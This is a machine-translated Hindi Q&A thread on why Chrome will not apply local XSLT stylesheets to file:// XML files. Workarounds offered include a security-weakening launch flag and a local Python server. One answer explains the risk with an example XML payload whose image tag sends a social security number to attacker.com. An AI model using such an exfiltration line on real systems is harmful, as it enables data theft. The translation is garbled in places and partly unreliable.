2010-09-30 9 views
64

मैं xslt में देख और w3schools पर उदाहरण के साथ परीक्षण शुरू किया गया था।क्रोम को स्थानीय फाइल पर एक्सएसएल ट्रांसफॉर्म करने के लिए बनाया जा सकता है?

हालांकि, जब मैं एक्सएमएल और फाइलों में XSL को बचाने और उन्हें स्थानीय स्तर पर खोलने का प्रयास करें, क्रोम XSL को बदलने नहीं करेगा। यह सिर्फ एक खाली पृष्ठ दिखाता है।

मैं XML दस्तावेज़ <?xml-stylesheet type="text/xsl" href="style.xsl"> टैग जोड़ लिया है, और फ़ायरफ़ॉक्स उसे रेंडर के रूप में यह देखने के लिए माना जाता है। साथ ही, यदि मैं किसी वेब सर्वर के माध्यम से फ़ाइलों को देखता हूं, तो क्रोम फ़ाइल को प्रदर्शित करता है जैसा कि इसे देखना चाहिए।

यह है कि क्रोम है स्टाइलशीट जानकारी खोजने जब लिंक स्थानीय है एक समस्या है? file:///C:/xsl/style.xsl को href बदलने कोई फर्क नहीं किया।

अद्यतन: यह सुरक्षा से नीति to not treat file:///* as same origin. का एक पक्ष प्रभाव यह निम्न त्रुटि कंसोल में नहीं दिखाई देता प्रतीत हो रहा है:

असुरक्षित यूआरएल फ़ाइल को लोड करने का प्रयास: /// C:/XSL-आरपीजी/यूआरएल फ़ाइल के साथ फ्रेम से style.xsl: /// C: /xsl-rpg/data.xml। डोमेन्स, प्रोटोकॉल्स और पोर्ट्स मैच करना चाहिए।

+1

यह 'फ़ाइल:' प्रोटोकॉल से दिखता है क्रोम एक ही डोमेन त्रुटि फेंकता है। –

उत्तर

54

संक्षिप्त उत्तर "नहीं, वहाँ diverse set of browsers से एक का उपयोग" है।

कारण यह काम नहीं करता एक सुरक्षा चिंता यह है कि क्रोम,, एक विवादास्पद तरीका [1][2][3][4] में संबोधित किया है एक ही निर्देशिका में स्थानीय XSLT फ़ाइलों तक पहुँचने से एक्सएमएल फाइल को अवरुद्ध करके, जबकि HTML फ़ाइलों कर सकते हैं की वजह से है उसी निर्देशिका में सीएसएस फ़ाइलों को एक्सेस करें बस ठीक है।

उपरोक्त उद्धृत मुद्दों के दौरान, उपयोगकर्ताओं ने एक स्पष्ट त्रुटि संदेश (डोमेन, प्रोटोकॉल और बंदरगाह वास्तव में मैच में करते हैं) के लिए कहा है, या कम से कम स्टाइल के बिना एक्सएमएल प्रदर्शित करना है। क्रोम डेवलपर्स ने इन अनुरोधों को अनदेखा कर दिया है।

+12

क्रोम का निर्णय मंद हो गया है। जबकि उनकी [सुरक्षा चिंता] (https://code.google.com/p/chromium/issues/detail?id=4197#c14) समझ में आता है, एक्सएमएल फाइलें उसी निर्देशिका से एक्सएसएल स्टाइलशीट लोड करने में सक्षम होना चाहिए, जैसे कि एचटीएमएल फाइलें एक ही निर्देशिका से छवियों और स्क्रिप्ट लोड कर सकती हैं। एक [मुद्दा आप स्टार कर सकते हैं] (https://code.google.com/p/chromium/issues/detail?id=47416) लेकिन क्रोम देव टीम ने इस पर नई टिप्पणियों पर प्रतिबंध लगा दिया है - इस तथ्य के बावजूद कि उन्होंने शिकायत की यह निर्धारित नहीं कर सकता कि उपयोगकर्ता स्थानीय फ़ाइल मूल को कितनी बुरी तरह से निष्क्रिय करना चाहते थे। –

+1

दिलचस्प तथ्य: मैक पर सफारी (8.0) स्थानीय एक्सएसएलटी के साथ ठीक काम करता है, लेकिन आईओएस (8) सिम्युलेटर पर सफारी (और मुझे आईओएस पर भी लगता है) मुझे क्रोम में एक ही त्रुटि मिली है "डोमेन, प्रोटोकॉल और पोर्ट्स का मिलान होना चाहिए । "। लेकिन अगर मैं ऐप में UIWebView को लागू करना चाहता हूं और एक्सएसएलटी के साथ एक्सएमएल लोड करना सब कुछ ठीक काम करता है। –

+0

क्रोम ब्राउज़र में विशेष xslt प्रतिपादन को ठीक करने के लिए कार्य को अन्य ब्राउज़र का उपयोग करने में थोड़ा बिंदु ... – n611x007

43

आप स्थानीय रूप से Chrome के आदेश पंक्ति ध्वजों का उपयोग कर ऐसा कर सकते हैं।

विशिष्ट ध्वज --allow-file-access-from-files

है ओएस एक्स पर: Terminal.app से चलाने /Applications/Google\ Chrome.app/contents/MacOS/Google\ Chrome --allow-file-access-from-files

विंडोज पर: आदेश से शीघ्र रन %LOCALAPPDATA%\Google\Chrome\Application\chrome.exe --allow-file-access-from-files

ध्यान दें: आप शायद अगर Chrome बंद करना होगा यह वर्तमान में Ch

+0

यह विंडोज 7 पर मेरे लिए काम नहीं कर रहा प्रतीत होता है। मुझे chrome.exe यहां स्थित है: 'C: \ Program फ़ाइलें (x86) \ Google \ क्रोम \ अनुप्रयोग', और --allow-file-access-from-files कमांड निष्पादित करता है, लेकिन मेरा स्थानीय XML दस्तावेज़ (स्थानीय XSLT फ़ाइल द्वारा परिवर्तित) प्रदर्शित नहीं होता है। –

+2

शायद आपको विंडोज़ टास्क मैनेजर में chrome.exe के लिए सभी चल रही विंडोज प्रक्रियाओं को हाथ से मारना होगा। मेरे लिए, यह काम किया। –

+1

'/ एप्लिकेशन/Google \ क्रोम \ Canary.app/Contents/MacOS/Google \ Chrome \ Canary --allow-file-access-from-files 'मेरे लिए काम किया। जाहिर है, मैं क्रोम कैनरी चला रहा हूं। इस कमांड को चलाने के बाद, एक नई क्रोम विंडो खुलनी चाहिए और आपको अपना एक्सएसएल ट्रांसफॉर्म करने देना चाहिए। –

6

आप ओपी पर कायम करना चाहते हैं अन्यथा चल रहा है, इस सवाल का जवाब नहीं है (के रूप में अन्य लोगों ने बताया है), लेकिन एक तरह से इस समस्या को ठीक करने के लिए एक सरल चलाने के लिए है क्रोम में http के माध्यम से वेबसर्वर और खुली फ़ाइलें। आप अजगर 2.x स्थापित है, तो आप टाइप द्वारा एक वेबसर्वर चला सकते हैं:

python -m SimpleHTTPServer 

या अजगर 3.x में:

python3 -m http.server 

और फिर फ़ाइल खोलने क्रोम में http://localhost:8000/yourfile.xml का उपयोग कर।उम्मीद है कि आप सिर्फ अपने काम करने के लिए और इसके नहीं एक महत्वपूर्ण बात का उपयोग कर file://

+0

उत्कृष्ट कामकाज, धन्यवाद! – Kostanos

2

यह क्रोम बग पृष्ठ पर गूढ़ रहस्य का एक सा ले लिया फ़ाइल खोलने के लिए करना चाहते हैं - वे समझा नहीं कि समस्या क्या है पर बहुत उत्सुक हैं, और उन्होंने हर किसी को तोड़ने के बजाय हर किसी को तोड़ने का फैसला क्यों किया।

मान लें मैं एक XML फ़ाइल है - कहीं - मेरे हार्ड ड्राइव पर, जैसे:

सी: \ Users \ इयान \ दस्तावेज़ \ करों \ StudioTaxReturn_2015.xml

और एक दुर्भावनापूर्ण इकाई - किसी भी तरह -, अपने कंप्यूटर पर एक दुर्भावनापूर्ण Xml फ़ाइल ड्रॉप करने में कामयाब रहे जैसे:

C: \ उपयोगकर्ता \ इयान \ AppData \ LocalLow \ अस्थायी \ TrojanVirusWorm.xml

कल्पना कीजिए TrojanVirusWorm.xml एक स्टाइलशीट प्रसंस्करण निर्देश शामिल हैं (पीआई):

<?xml version="1.0" encoding="UTF-8" standalone="yes"?> 
<?xml-stylesheet type="text/xsl" href="file://C:/Users/Ian/Documents/Taxes/StudioTaxReturn_2015.xml""?> 

हमलावर तो मेरे ब्राउज़र को यह निर्देश नेविगेट करने के लिए स्थानीय रूप से सहेजे गए trojanVirusWorm.xml फ़ाइल में।

<?xml version="1.0" encoding="UTF-8" standalone="yes"?> 
<?xml-stylesheet type="text/xsl" href="file://C:/Users/Ian/Documents/Taxes/StudioTaxReturn_2015.xml""?> 
    <!--And then a miracle happens, and this XML file is able to read 
     the contents of the stylesheet xml file--> 
<html> 
    <img src="http://attacker.com/UploadSocialSecurityNumber&ssn=..."></img> 
</html> 

मुझे समझ नहीं आता कि कैसे एक XML फ़ाइल कर सकते हैं:

जाहिर है वहाँ एक तरीका है कि एक XML फ़ाइल पढ़ सकते हैं XSD फ़ाइल (बजाय XSD फ़ाइल से तब्दील किया जा रहा) की सामग्री है एक स्टाइलशीट फ़ाइल पढ़ें। लेकिन क्रोम टीम हमें आश्वस्त करती है कि यह एक खतरा है, और इसे हल नहीं किया जा सकता है।

हर दूसरे ब्राउज़र ने इसे हल किया। उन्होंने इसे because it's not a problem हल किया।

संबंधित मुद्दे

 संबंधित मुद्दे